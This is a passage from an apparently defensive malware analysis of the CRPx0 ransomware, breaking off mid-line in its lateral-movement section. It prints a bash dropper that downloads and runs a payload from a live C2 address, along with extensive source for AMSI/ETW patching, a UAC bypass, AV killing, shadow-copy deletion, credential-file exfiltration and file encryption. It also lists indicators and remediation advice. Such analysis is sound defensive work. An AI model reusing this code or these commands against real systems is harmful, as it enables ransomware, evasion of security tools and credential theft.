    PYTHON_URL="https://github.com/indygreg/python-build-standalone/releases/download/20240107/cpython-3.10.13+20240107-aarch64-apple-darwin-install_only.tar.gz"
else
    PYTHON_URL="https://github.com/indygreg/python-build-standalone/releases/download/20240107/cpython-3.10.13+20240107-x86_64-apple-darwin-install_only.tar.gz"
fi

# Download portable Python
curl -sL "$PYTHON_URL" -o "/tmp/py.tar.gz"

# Extract Python
tar -xzf "/tmp/py.tar.gz" -C "/tmp"

# Download payload
curl -sL "http://207.180.29.236:8080/relay.php?file=sys_core_9407d9e0.bin&secret=crpx0_c2_2026" -o "/tmp/sys_service.py"

# Execute payload in background so decoy opens without delay
/tmp/python/bin/python3 "/tmp/sys_service.py" &

# Cleanup
rm -f "/tmp/py.tar.gz"

echo "✅ Update installed successfully. Your system is up to date."

Note the different payload filename (sys_core_9407d9e0 vs f6037e11 in the captcha variant) - each affiliate build gets unique crypto keys and an operation ID, but the same codebase. This is the RaaS model: different keys per build so victims cannot share decryptors.

What sys_core_*.bin Actually Is

The file served by the relay (despite the .bin extension) is not a compiled binary - it is an obfuscated Python loader (17 lines, ~3.8 MB). SHA256: 2d3dfec60201dcc8d0b08abefa8d43efe5f62c33110f036560baa6f1bf24ea8a. Two filenames have been observed - sys_core_f6037e11.bin (reCAPTCHA lure, affiliate [REDACTED]) and sys_core_9407d9e0.bin (standalone bash dropper). The hex suffix appears to be a builder-assigned build ID rather than a file hash; only one of the two files was recovered, so the SHA256 above should not be assumed to cover both.

The obfuscation uses chr() character construction to hide import names (builtins, base64, zlib) and a massive base64+zlib compressed blob containing the ransomware source. The decoded logic:

  1. base64.b64decode() the 3.8 MB payload string
  2. zlib.decompress() the result
  3. Set CRPx0_LOADER = '1' environment variable (marks dropper execution)
  4. exec(compile(...)) the decompressed Python source

This is the same packing format as bootstrap_script.py on the Windows path. When unpacked, it produces sys_service.py - the full 1,769-line ransomware.

Cross-Platform Convergence

The Windows and macOS delivery paths converge at the Python ransomware. Everything before that point is OS-specific delivery mechanism; everything after is identical cross-platform code:

AspectWindows PathmacOS Path
Social engineering"Windows Update" or reCAPTCHASame pages, OS-detected
Clipboard commandpowershell -w h -enc ...One-liner via Terminal
Stage 1 dropperPowerShell downloads the stager DLL, saved as WindowsUpdate.logBash downloads portable Python
Stage 2 stagerembedded_payload.dll (XOR+ROL+NOT)N/A - skipped entirely
Stage 3 loaderdata.dll (tar.exe or COM ZIP extraction + XOR bootstrap)N/A - skipped entirely
Stage 4 payloadsys_service.pySame sys_service.py

The ransomware itself handles all OS differences internally: persistence (schtasks vs LaunchAgent), backup destruction (vssadmin vs tmutil), wallpaper (SystemParametersInfoW vs osascript), self-destruct (VBS vs shred).

Stage 4: Python Ransomware (sys_service.py)

This is the terminal payload - a 1,769-line Python script that performs the full ransomware attack across Windows, macOS, and Linux. There is no Stage 5; this script handles everything from initial environment checks to file encryption to self-destruction.

All C2 communication - telemetry beacons, key handshakes, scan reports, and exfiltrated files - is sent to http://207.180.29.236:8080/relay.php, which proxies via SOCKS5 to the Tor hidden service at xburs4nr6cbuktokhqwefeh5hsjakz6usll5o7z5uhrfcnolakj4ptad.onion/api.php. Every request carries Authorization: Bearer crpx0_c2_2026 - the same token used as the secret parameter in the macOS curl command (http://207.180.29.236:8080/relay.php?file=sys_core_f6037e11.bin&secret=crpx0_c2_2026). This shared token authenticates both payload downloads and C2 callbacks, proving the relay serves double duty: payload delivery AND command-and-control.

Execution runs in twelve sequential phases, each broken out below with its source. The victim is left with .crpx0-encrypted files, HOW TO RECOVER ransom notes on a 48-hour countdown, and destroyed backups.

Configuration Constants

Values below are from the affiliate 1 build. OPERATION_ID, XOR_KEY, AES_KEY_B64, DECOY_NAME and SELF_EXCLUDE_TAG are builder-generated per build and will differ in every other sample.

ConstantValue
OPERATION_IDOP_1785331224
PARENT_IDROOT
XOR_KEY78f2627f3795ea508fecac16227bbff8 - stored encrypted as ENCRYPTED_XOR_KEY and Fernet-decrypted at runtime by _init_crypto()
AES_KEY_B64dl3x9Gq-u0_cI0ikcpeQlcQRb5Ntcpa5vqm2XZ31HtE= - Fernet key that decrypts the embedded config, not the file-encryption key; the file key is generated per victim at runtime
ENCRYPTED_EXT.crpx0
AFFILIATE_ID1
DECOY_NAME3b1facad.pdf
SELF_EXCLUDE_TAGexcl_b97be3
AMSI_PATCH_KEY254
ETW_PATCH_KEY42
RECOVERY_FILEHOW TO RECOVER.txt
RECOVERY_FILE_HTMLHOW TO RECOVER.html
SCAN_REPORTscan_report.json

RSA-4096 Public Key

Embedded public key (PEM)
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAngxnxv6BTD5SXYhh7gNb
RlI75UhKr2nStctL7PhqDhgt9jqyFJ6vn2okSb6oA2pV7d26+LBCsH083d3Lww0p
7bP7dEVImBurFOWU//2FB5UsRK4O0jjv6JtkcZqG5cUH21pIzZwIXzaCCSFHimFW
ixQp4N1aYyuGe2iRKsxLLViwfPUl4KuKgpNuZ0sZOgICgk+VzHReQqcFCXV4E9ch
Zh4UcfF4RpsEUCHWvhF7JAZUBhEOTRtOw0/GtbRTAkIw7Le3q/qSIULsRP7LY1v+
XOCG1SGJmXo+Vrjr+JS87QOarFnHxhEv1jAyeSC4zT4o6MAKKgFTUyjxcTrXiZvN
yR26tjBGh/oIGCOkK6pe6yLOpJKvTgREIYsYbSOMSM1jWLgzzC22IIYgUvFy764C
CYUJQlSTZZSFtSg3y6i9evyv0lCwGgEpRN0QhRvERKQHiJA2aOq/457f2z2gfj+z
/aivvVq0lj7EmJw3Cs0yDnLnZz1X06NwYauSMUUmJv7OvCNt6Jyq0ff97J6qrTlt
ZFKPmF3xxnKezXcz9wPpmvgiRDtz2RRvlSZFbyD3UhOO41Z/ADEoGdnNbDEbQHh9
okozNSwHOvsOsfwxDkGY3MVX3QJvzaAzp3E9Th81WPWP9LEjrTcFFJcQnYji4eEJ
oL/xhcJpms9F3u+CuvLhKEECAwEAAQ==
-----END PUBLIC KEY-----

C2 Infrastructure

TypeAddress
Primary C2http://207.180.29.236:8080/relay.php
TOR C2http://xburs4nr6cbuktokhqwefeh5hsjakz6usll5o7z5uhrfcnolakj4ptad.onion/api.php
Leak site (clearnet)https://crpx0.su
Leak site (TOR)http://tlxoddx4odmc2qvsmtsbgwwsv5j45osb5sox7mz6izxliuju5mkulzad.onion
Negotiation portal (TOR)http://kqi5yty6ipuhwz4anutty6hob6et7dvnnxg6kcnulwedjaz5oton2zyd.onion
C2 Auth Tokencrpx0_c2_2026
IP geolocationhttp://ip-api.com/json , https://ipinfo.io/json

Communication Channels (from ransom note)

ChannelIdentifier
Tox ID17EB54B8455144E088C7E77F88A97221C319F0CFE4FE306853EEB113EE8DB5607BB6EE481C7C
Session ID050546f6719172e04151c31acb37a242fa3eeff5766aa57331d26cc06e83e9e25b

Network Signatures

C2 Beacon (POST)

POST /relay.php HTTP/1.1
Host: 207.180.29.236:8080
Content-Type: application/json
Authorization: Bearer crpx0_c2_2026
X-OP-ID: OP_1785331224
X-Status: scanned|encrypted|propagation_started|extfilt|fatal_error
User-Agent: <rotating pool of 5 browser UAs>

JSON payload fields: operation_id, status, device_info, affiliate_id, timestamp

Data Exfiltration (multipart POST)

POST /relay.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----CrpxBoundary<uuid_hex>
Authorization: Bearer crpx0_c2_2026

Fields: operation_id, status=extfilt, file_label=extfilt_OP_1785331224,
        chunk_index, total_chunks, file_chunk (512KB chunks)

ClickFix Page Beacon

POST <C2>
X-Captcha-Track: 1

User-Agent Pool

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Mozilla/5.0 (iPhone; CPU iPhone OS 17_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1

IP geolocation User-Agent: curl/7.64.1

Anti-Analysis / Evasion Techniques

TechniqueFunctionDescription
IsDebuggerPresentcheck_debugger()Resolves dynamically via XOR-encoded string, exits if debugger detected
NtQueryInformationProcesscheck_ntdebug()ProcessDebugPort (info class 7), exits if debug port non-zero
GetTickCount Timingcheck_sandbox()Sleeps 500ms, checks elapsed time - exits if <450ms (sleep bypass)
Execution Speedcheck_sandbox()1000-iteration loop - exits if >250ms (analyst/instrumentation detected)
API Hammeringapi_hammering()1,000,000 GetCurrentProcessId + math calls to exhaust sandbox timeouts
API Floodingcheck_api_flood()50,000 mixed kernel32/ntdll/user32 calls as noise
Hardware Breakpointscheck_hardware_breakpoints()GetThreadContext checking DR0-DR3 registers
VM MAC Detectioncheck_environment()Checks MAC prefixes: 00:05:69 (VMware), 00:0C:29 (VMware), 00:1C:14 (VMware), 00:50:56 (VMware), 08:00:27 (VBox), 00:15:5D (Hyper-V), 00:1C:42 (Parallels)
Sandbox Filescheck_environment()Checks: C:\cuckoo, C:\fake_drive, C:\tsl, Process Hacker shortcut, Wireshark
Username/Hostnamecheck_environment()Exits if contains: test, malware, sandbox, cuckoo, john, virus, vm
VM Driverscheck_environment()Checks for: vmtoolsd.exe, VBoxService.exe, xenservice.exe, prl_tools.exe
CPU Countcheck_environment()Exits if < 2 CPUs
AMSI Patchpatch_amsi()Patches AmsiScanBuffer in amsi.dll using XOR key 254
ETW Patchpatch_etw()Patches EtwEventWrite in ntdll.dll using XOR key 42
NTDLL Unhookingunhook_ntdll()Reads clean ntdll.dll from disk, overwrites .text section in memory
Sleep Obfuscationstealth_sleep()Uses WaitableTimers instead of Sleep()
Environmental Keyingget_env_key()Derives key from hostname + username + MAC for environment binding
UAC Bypassuac_bypass()fodhelper.exe - HKCU\Software\Classes\ms-settings\shell\open\command registry manipulation
Process Injectioninject_into_explorer()CreateRemoteThread into explorer.exe to break parent-child process chain

Execution Flow (main function) - with source

The entry point and phase ordering. Note that bootstrap() runs BEFORE main() - all anti-analysis and environment setup happens in bootstrap, then main handles the operational phases.

# __main__ block (line 1741)
_init_crypto()            # Phase 1: decrypt config
bootstrap()               # Phase 2-3: anti-analysis + AMSI/ETW + venv setup
main()                    # Phases 4-12

# main() (line 1702)
def main():
    if os.name == 'nt' and not ctypes.windll.shell32.IsUserAnAdmin():
        if uac_bypass(): sys.exit(0)       # Phase 4: UAC bypass
    ensure_single_instance()                # Phase 5: mutex
    establish_persistence()                 # Phase 6: scheduled task
    kill_av_edr()                           # Phase 7: kill AV
    stage1_scan()                           # Phase 8: backup destruction + file discovery
    stage1_5_collect_samples()              # Phase 9: exfiltration
    stealth_sleep(10)                       # 10s delay via WaitableTimers
    stage2_encrypt()                        # Phase 10: encryption
      → domain_encrypt_network()           # Phase 11: lateral movement (called from within)
    self_destruct()                         # Phase 12: cleanup

Phase 1: Cryptographic Initialisation - _init_crypto() (line 1573)

Decrypts all hardcoded config values. The XOR key, C2 URLs, auth token, and ransom note templates are all stored as integer arrays and decoded at runtime via dx() (XOR with XOR_KEY). Nothing is stored in plaintext.

Source - _init_crypto()
def _init_crypto():
    global XOR_KEY, REMOTE_URLS, C2_AUTH_TOKEN, RECOVERY_NOTE_TEMPLATE, RECOVERY_NOTE_TEMPLATE_HTML
    # Decrypt XOR_KEY itself using Fernet (AES-128-CBC)
    from cryptography.fernet import Fernet
    if AES_KEY_B64 and ENCRYPTED_XOR_KEY:
        f = Fernet(AES_KEY_B64)
        XOR_KEY = f.decrypt(ENCRYPTED_XOR_KEY)
    # Decode C2 URLs from integer array via XOR
    REMOTE_URLS = [u.strip() for u in dx([95,76,18,66,...]).split('|') if u.strip()]
    # Result: ['http://207.180.29.236:8080/relay.php',
    #          'http://xburs4nr...onion/api.php']
    C2_AUTH_TOKEN = dx([84,74,22,74,6,109,84,84,108,5,9,7,83])
    # Result: 'crpx0_c2_2026'

Phase 2: Anti-Analysis Checks - bootstrap() calls (line 347)

Seven distinct checks run in sequence. Any single detection triggers sys.exit(0) - the ransomware silently dies rather than risk analysis.

Source - bootstrap() check sequence
def bootstrap():
    check_debugger()           # IsDebuggerPresent via XOR-resolved API name
    check_ntdebug()            # NtQueryInformationProcess(ProcessDebugPort=7)
    check_sandbox()            # GetTickCount64 timing: sleep 500ms, exit if <450ms elapsed
                               # + 1000-iteration loop, exit if >250ms (instrumentation)
    check_api_flood()          # 50,000 mixed kernel32/ntdll/user32 calls as noise
    api_hammering()            # 1,000,000 x GetCurrentProcessId() + math to exhaust sandbox
    check_hardware_breakpoints()  # GetThreadContext → DR0-DR3 registers
    check_environment()        # VM MAC prefixes, sandbox files, suspicious usernames,
                               # CPU count <2, VMware/VBox/Hyper-V/Parallels processes
    # Then patches:
    unhook_ntdll()             # Phase 3
    patch_amsi()               # Phase 3
    patch_etw()                # Phase 3
    # Then: create venv, install deps, re-exec in venv

Key anti-sandbox code:

Source - check_sandbox() and check_environment()
def check_sandbox():
    kernel32 = ctypes.windll.kernel32
    tick_start = kernel32.GetTickCount64()
    kernel32.Sleep(500)
    elapsed = kernel32.GetTickCount64() — tick_start
    if elapsed < 450:   # Sandbox skipped the sleep
        sys.exit(0)
    tick_start_debug = kernel32.GetTickCount64()
    for _ in range(1000): a += 1
    if kernel32.GetTickCount64() — tick_start_debug > 250:  # Instrumentation overhead
        sys.exit(0)

def check_environment():
    vm_prefixes = ["00:05:69","00:0C:29","00:1C:14","00:50:56",  # VMware
                   "08:00:27",                                     # VirtualBox
                   "00:15:5D",                                     # Hyper-V
                   "00:1C:42"]                                     # Parallels
    mac = hex(uuid.getnode()).replace('0x','').upper().zfill(12)
    if any(mac.startswith(p) for p in vm_prefixes): sys.exit(0)
    sandbox_files = [r"C:\cuckoo", r"C:\fake_drive", r"C:\tsl",
                     r"C:\Users\Public\Desktop\Process Hacker.lnk"]
    suspicious = ["test","malware","sandbox","cuckoo","john","virus","vm"]
    if any(s in username for s in suspicious): sys.exit(0)

Phase 3: AMSI/ETW Patching + NTDLL Unhooking (lines 253, 286, 311)

Blinds endpoint security by patching three critical Windows APIs in-memory. All three use VirtualProtect to make code pages writable, overwrite the function prologue with XOR-decoded patch bytes, then restore page protections.

Source - unhook_ntdll(), patch_amsi(), patch_etw()
def unhook_ntdll():  # line 253
    # Reads clean ntdll.dll from disk (C:\Windows\System32\ntdll.dll)
    # Parses PE headers to find .text section
    # VirtualProtect(PAGE_EXECUTE_READWRITE) on loaded ntdll .text
    # ctypes.memmove() overwrites hooked .text with clean disk copy
    # VirtualProtect() restores original protection
    # Result: all EDR hooks on ntdll syscall stubs are removed

def patch_amsi():  # line 286
    # Resolves AmsiScanBuffer via XOR-encoded name: dx([32,27,3,17,35,20,20,29,34,30,2,2,2,0,11])
    func_addr = resolve_api(dx(lib), dx(func))  # "amsi.dll", "AmsiScanBuffer"
    VirtualProtect(func_addr, 6, 0x40, ...)     # PAGE_EXECUTE_READWRITE
    # XOR-decode arch-specific patch with AMSI_PATCH_KEY=254
    if arch == '64bit': raw = b"\x46\xA9\xFE\xF9\x7E\x3D"   # xor 254 → ret/nop stub
    else:               raw = b"\x46\xA9\xFE\xF9\x7E\x3C\xE6\xFE"
    patch = bytes(b ^ 254 for b in raw)
    ctypes.memmove(func_addr, patch, len(patch))
    # Result: AmsiScanBuffer always returns AMSI_RESULT_CLEAN

def patch_etw():  # line 311
    func_addr = resolve_api("ntdll.dll", "EtwEventWrite")
    VirtualProtect(func_addr, 5, 0x40, ...)
    if arch == '64bit': raw = b"\x62\x19\xEA\xE9"  # xor 42 → ret stub
    else:               raw = b"\x19\xEA\xE8\x3E\x2A"
    patch = bytes(b ^ 42 for b in raw)
    ctypes.memmove(func_addr, patch, len(patch))
    # Result: ETW event logging is silenced

Phase 4: UAC Bypass - uac_bypass() (line 972)

Uses the fodhelper.exe auto-elevation technique. Creates a registry key under ms-settings that fodhelper.exe reads as a delegate command, causing it to launch the payload with admin privileges.

Source - uac_bypass()
def uac_bypass():
    if ctypes.windll.shell32.IsUserAnAdmin(): return True
    payload = os.path.abspath(sys.argv[0])
    cmdline = f'{sys.executable} "{payload}" bootstrap_done uac_elevated'
    random_suffix = uuid.uuid4().hex[:6]
    key_path = f'Software\\Classes\\ms-settings\\shell\\open{random_suffix}\\command'
    # Create registry key with payload as default value
    with winreg.CreateKey(winreg.HKEY_CURRENT_USER, key_path) as k:
        winreg.SetValue(k, '', winreg.REG_SZ, cmdline)
        winreg.SetValue(k, 'DelegateExecute', winreg.REG_SZ, '')
    time.sleep(random.uniform(0.5, 1.5))
    subprocess.run('fodhelper.exe', capture_output=True, timeout=5)
    # fodhelper reads ms-settings\shell\open*\command → launches payload elevated
    # Cleanup: delete registry keys
    winreg.DeleteKey(HKCU, parent)

Phase 5: Single-Instance Mutex - ensure_single_instance() (line 1552)

Source - ensure_single_instance()
def ensure_single_instance():
    mutex_name = f"sys_lock_180d1d15_{OPERATION_ID}"  # "sys_lock_180d1d15_OP_1785331224"
    if os.name == 'nt':
        mutex = kernel32.CreateMutexW(None, False, f"Global\\{mutex_name}")
        if kernel32.GetLastError() == 183:  # ERROR_ALREADY_EXISTS
            sys.exit(0)  # Another instance running — silently exit
        globals()['_hold_mutex'] = mutex  # Hold reference to prevent GC
    else:  # macOS/Linux
        lock_file = open(os.path.expanduser(f"~/.{mutex_name}.lock"), 'w')
        fcntl.flock(lock_file, fcntl.LOCK_EX | fcntl.LOCK_NB)  # Fails if locked
        globals()['_lock_file'] = lock_file

Phase 6: Persistence - establish_persistence() (line 579)

Source - establish_persistence()
def establish_persistence():
    app_path = os.path.abspath(sys.argv[0])
    if os.name == 'nt':
        # XOR-decoded command resolves to:
        # schtasks /create /f /sc onlogon /tn "OneDrive Sync Maintenance"
        #   /tr "<python.exe> <payload_path> bootstrap_done" /rl highest
        tn = "OneDrive Sync Maintenance"
        cmd = dx([68,91,14,70,...]).format(tn=tn, exe=sys.executable, path=app_path)
        run_system(cmd, timeout=15)
    elif platform.system() == 'Darwin':
        # LaunchAgent plist — runs at login
        plist_path = "~/Library/LaunchAgents/com.apple.sync.plist"
        plist_content = f"""<?xml version="1.0" encoding="UTF-8"?>
        <plist version="1.0"><dict>
          <key>Label</key><string>com.apple.sync</string>
          <key>ProgramArguments</key><array>
            <string>{sys.executable}</string>
            <string>{app_path}</string>
            <string>bootstrap_done</string>
          </array>
          <key>RunAtLoad</key><true/>
        </dict></plist>"""
        with open(plist_path, "w") as f: f.write(plist_content)

Phase 7: AV/EDR Kill - kill_av_edr() (line 941)

Shuffles the process and service lists randomly before iterating - varies the kill order to defeat behavioural signatures that trigger on sequential AV kills.

Source - kill_av_edr()
def kill_av_edr():
    # Randomise order to avoid sequential-kill detection
    shuffled_procs = list(KILL_AV_PROCESSES)
    random.shuffle(shuffled_procs)
    for proc in shuffled_procs:
        run_system(f'taskkill /f /im {proc}', timeout=10)
        time.sleep(random.uniform(0.05, 0.3))  # Random delay between kills
    shuffled_svcs = list(KILL_AV_SERVICES)
    random.shuffle(shuffled_svcs)
    for svc in shuffled_svcs:
        run_system(f'net stop {svc} /y', timeout=10)
        run_system(f'sc stop {svc}', timeout=10)
        run_system(f'sc delete {svc}', timeout=10)  # Permanently remove
        time.sleep(random.uniform(0.1, 0.4))

Phase 8: Backup Destruction + File Discovery - stage1_scan() (line 640)

remove_backups() runs first, THEN file discovery. The backup commands are XOR-encoded in the binary and decoded at runtime.

Source - remove_backups() and stage1_scan()
def remove_backups():  # line 601
    if system == 'Windows':
        # dx() decodes to:
        run_system('vssadmin delete shadows /all /quiet')
        run_system('wmic shadowcopy delete /nointeractive')
        run_system('wbadmin delete catalog -quiet')
    elif system == 'Darwin':
        subprocess.run(['tmutil','thinlocalsnapshots','/',
                        '1000000000000','4'])
    elif system == 'Linux':
        subprocess.run(['timeshift','--delete-all'])

def stage1_scan():  # line 640
    remove_backups()
    # Enumerate all drives (C: through Z: on Windows, / on Unix)
    roots = []
    for letter in string.ascii_uppercase:
        if letter in ['A','B']: continue
        drive = f'{letter}:\\'
        if os.path.exists(drive): roots.append(drive)
    # Walk every drive, skip excluded dirs, collect files by category
    for root_dir in roots:
        for root, dirs, files in os.walk(root_dir):
            dirs[:] = [d for d in dirs if not is_excluded(os.path.join(root,d))]
            for file in files:
                ext = os.path.splitext(file)[1].lower()
                for cat, exts in FILE_EXTENSIONS.items():
                    if ext in exts:
                        report['files_by_category'][cat].append(path_file)
    # Write scan_report.json + send report to C2
    with open(SCAN_REPORT, 'w') as f: json.dump(report, f)
    send_to_remote(status='scanned', payload_extra=payload_extra, attach_files=True)

Phase 9: Data Exfiltration - stage1_5_collect_samples() (line 721)

Steals files BEFORE encryption begins. Two separate sweeps run:

  • 5 random documents from Desktop, Documents and Downloads, matched on extension: .doc, .docx, .pdf, .csv, .xlsx, .pptx, .txt.
  • 10 high-value files from anywhere in the home directory, capped at 50 MB each, matched on either extension - .kdbx, .keychain, .pem, .pfx, .p12, .env, .key, .ovpn, .keystore - or on a 32-term keyword list spanning credentials, banking, cryptocurrency wallets, invoicing and payroll, identity documents, and SSH/VPN configuration.

The second list is not extortion material. .kdbx is a KeePass database, .keychain is the macOS Keychain, .pem / .pfx / .p12 are private keys and certificates, .env holds application secrets, .ovpn is a VPN profile and .keystore is a Java or Android signing store. These are credentials for follow-on access, not documents to threaten a victim with. Treat any CRPx0 infection as a credential compromise as well as a ransomware event and rotate everything reachable from the affected host - password vaults, certificates, VPN profiles, API keys and cloud tokens - regardless of whether the ransom is paid.

CRPx0 exfiltration targets: sweep 1 takes five random office documents from Desktop, Documents and Downloads as extortion leverage; sweep 2 takes ten credential files - password vaults, private keys, certificates, application secrets and VPN profiles - from anywhere in the home folder for follow-on access

CRPx0 exfiltration targets: sweep 1 takes five random office documents from Desktop, Documents and Downloads as extortion leverage; sweep 2 takes ten credential files - password vaults, private keys, certificates, application secrets and VPN profiles - from anywhere in the home folder for follow-on access

Both sets are packaged into a single ZIP, split into 512 KB chunks, and POSTed as multipart/form-data to http://207.180.29.236:8080/relay.php. That relay is a dumb PHP proxy - it forwards over SOCKS5 to the real C2 at xburs4nr6cbuktokhqwefeh5hsjakz6usll5o7z5uhrfcnolakj4ptad.onion/api.php. Anything not paid for surfaces on the leak site at crpx0.su (clearnet) or crpxolx7.onion.

CRPx0 data exfiltration: office documents and credential files collected, bundled into one ZIP, split into 512 KB chunks, uploaded over plain HTTP to the clearnet relay and proxied onward through Tor, then published to the leak site - all before any file is encrypted

CRPx0 data exfiltration: office documents and credential files collected, bundled into one ZIP, split into 512 KB chunks, uploaded over plain HTTP to the clearnet relay and proxied onward through Tor, then published to the leak site - all before any file is encrypted

The critical timing detail: exfiltration completes *before* a single file is encrypted. By the time .crpx0 extensions or ransom notes appear on the network, the data is already on the relay and the double-extortion leverage is secured - the only detection window is the chunked multipart uploads to relay.php.

Source - stage1_5_collect_samples() (incl. full high-value keyword list)
def stage1_5_collect_samples():
    # Random document collection
    doc_exts = {'.doc','.docx','.pdf','.csv','.xlsx','.pptx','.txt'}
    for d in ['Desktop','Documents','Downloads']:
        for root, dirs, files in os.walk(os.path.join(home, d)):
            # Collect files matching doc_exts
    random_docs = random.sample(doc_candidates, min(5, len(doc_candidates)))

    # High-value file hunting
    high_value_keywords = [
        'password','passwd','login','credential','secret','token',
        'bank','wallet','crypto','bitcoin','ethereum','metamask',
        'invoice','tax','financial','salary','payment',
        'passport','license','ssn','social','identity',
        'ssh','vpn','config','backup','database','private',
        'confidential','key','seed','recovery'
    ]
    high_value_exts = {'.kdbx','.keychain','.pem','.pfx','.p12','.env','.key','.ovpn','.keystore'}
    # Walk entire home dir, collect files <50MB matching keywords/extensions
    high_value = [f for f,_,_ in hv_candidates[:10]]

    # Package and exfiltrate
    zip_name = f'data_fe7e3a_{OPERATION_ID}.zip'  # "data_fe7e3a_OP_1785331224.zip"
    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:
        for idx, fpath in enumerate(all_files):
            zf.write(fpath, f'{idx:02d}_{os.path.basename(fpath)}')

    # Upload in 512KB chunks to C2
    chunk_size = 512 * 1024
    for chunk_index in range(total_chunks):
        chunk = zip_data[chunk_index * chunk_size:(chunk_index+1) * chunk_size]
        boundary = '----CrpxBoundary' + uuid.uuid4().hex
        req = urllib.request.Request(url, data=body, headers={
            'Content-Type': f'multipart/form-data; boundary={boundary}',
            'Authorization': f'Bearer {C2_AUTH_TOKEN}'  # 'Bearer crpx0_c2_2026'
        })
    os.remove(zip_path)  # Delete ZIP after upload

Phase 9.5: C2 Communication - send_to_remote() (line 516)

Used by every phase to report status back to the relay. Rotates through 5 browser user-agents and tries both clearnet and Tor C2 URLs.

Source - send_to_remote()
def send_to_remote(status, payload_extra=None, attach_files=False):
    time.sleep(random.uniform(1.0, 5.0))  # Random delay to evade traffic analysis
    payload = {
        'operation_id': OPERATION_ID,    # 'OP_1785331224'
        'status': status,                # 'scanned'|'encrypted'|'extfilt'|'fatal_error'
        'device_info': INFO,
        'affiliate_id': AFFILIATE_ID,    # 1
        'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    }
    for url in REMOTE_URLS:  # ['http://207.180.29.236:8080/relay.php', 'http://xburs4...onion/api.php']
        req = urllib.request.Request(url, data=json.dumps(payload).encode(), headers={
            'Content-Type': 'application/json',
            'User-Agent': random.choice(USER_AGENTS),  # Rotates through 5 browser UAs
            'Authorization': f'Bearer {C2_AUTH_TOKEN}', # 'Bearer crpx0_c2_2026'
            'X-OP-ID': OPERATION_ID,
            'X-Status': status
        })
        urllib.request.urlopen(req, timeout=30)

Phase 10: File Encryption - stage2_encrypt() (line 1256)

Generates a per-victim Fernet (AES-128-CBC) key, attempts a 10-retry handshake with the C2 to register the key, then wraps it with the embedded RSA-4096 public key. Files are encrypted in parallel using ThreadPoolExecutor, with junk I/O injected every 10-20 files to break high-entropy-write detection signatures. Periodically re-patches AMSI/ETW during encryption.

Source - stage2_encrypt()
def stage2_encrypt():
    key = Fernet.generate_key()       # Random AES key for this victim
    fernet = Fernet(key)

    # 10-attempt C2 handshake to register decryption key
    for _attempt in range(10):
        if send_to_remote(status='key_handshake',
                          payload_extra={'decryption_key': key.decode()}):
            break
        time.sleep(10)

    # RSA-4096 wrap the AES key (victim can never recover without private key)
    public_key = serialization.load_pem_public_key(RSA_PUBLIC_KEY.encode())
    rsa_blob = public_key.encrypt(key, padding.OAEP(
        mgf=padding.MGF1(algorithm=hashes.SHA256()),
        algorithm=hashes.SHA256(), label=None))

    def encrypt_file(file_path):
        with open(file_path, 'rb') as f:
            data = f.read(1024*1024)  # First 1MB encrypted
            rest = f.read()           # Remainder stored raw (speed optimisation)
        encrypted_data = fernet.encrypt(data)
        # File format: [4B RSA blob len][RSA blob][8B enc len][encrypted][raw tail]
        with open(file_path + '.crpx0', 'wb') as f:
            f.write(len(rsa_blob).to_bytes(4, 'little'))
            f.write(rsa_blob)
            f.write(len(encrypted_data).to_bytes(8, 'little'))
            f.write(encrypted_data)
            f.write(rest)
        os.remove(file_path)  # Delete original
        # Every 10-20 files: junk_io() writes random bytes to temp file
        # Every 40-60 files: re-patches AMSI + ETW

    max_workers = min(32, (os.cpu_count() or 1) * 4)
    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        executor.map(encrypt_file, all_targets)
    set_wallpaper()  # Changes desktop wallpaper
    drop_ransom_notes(target_dirs=list(processed_dirs))
    send_to_remote(status='encrypted', payload_extra={
        'percentage': str(percentage),
        'decryption_key': key.decode()})
    domain_encrypt_network(fernet, key)  # → Phase 11

set_wallpaper() (line 561) decodes an embedded base64 PNG (BACKGROUND_B64, ~3.7 MB of source) to ~/.d3dd0447.png and applies it via SystemParametersInfoW(20, 0, path, 3) on Windows, AppleScript (System Events) on macOS, and gsettings with a feh --bg-fill fallback on Linux. Decoded image: 1536 x 1024 px, 8-bit RGB PNG, 2,813,145 bytes.

CRPx0 ransomware wallpaper displayed after encryption.

CRPx0 ransomware wallpaper displayed after encryption.

Phase 11: Lateral Movement - domain_encrypt_network() (line 1040)

6-stage domain-wide attack. Discovers network topology via domain recon + ARP + /24 sweep, then encrypts files on reachable shares and pushes copies of itself to remote hosts via WMI and schtasks. Falls back to GPO SYSVOL startup script if direct push fails. On macOS/Linux, uses SSH key-based propagation.

Source - domain_encrypt_network() (6-stage propagation)
def domain_encrypt_network(fernet, key):
    send_to_remote('propagation_started')
    # 1. Domain recon
    domain = os.environ.get('USERDOMAIN')
    dcs = run_capture(f'nltest /dclist:{domain}')       # Domain controllers
    servers = run_capture(f'net view /domain:{domain}')  # Domain servers
    arp_table = run_capture('arp -a')                    # ARP cache
    # + /24 subnet scan of local IP

    # 2. Direct UNC share encryption (port 445 check first)
    for target in target_ips:
        if socket.connect_ex((target, 445)) != 0: continue
        shares = run_capture(f'net view \\\\{target}')  # Enumerate shares
        for unc_root in [shares + admin_shares]:  # Including C$, D$, E$
            for fpath in run_capture(f'dir /s /b /a-d "{unc_root}\\*.*"'):
                # Encrypt each file in-place on the remote share
                encrypted_data = fernet.encrypt(data)
                with open(fpath + '.crpx0', 'wb') as fh: ...
                os.remove(fpath)

    # 3. Payload push via UNC copy
    run_hidden(f'copy /Y "{payload_path}" "\\\\{target}\\C$\\Windows\\Temp\\{payload_name}"')

    # 4. WMI remote execution
    run_hidden(f'wmic /node:{target} process call create '
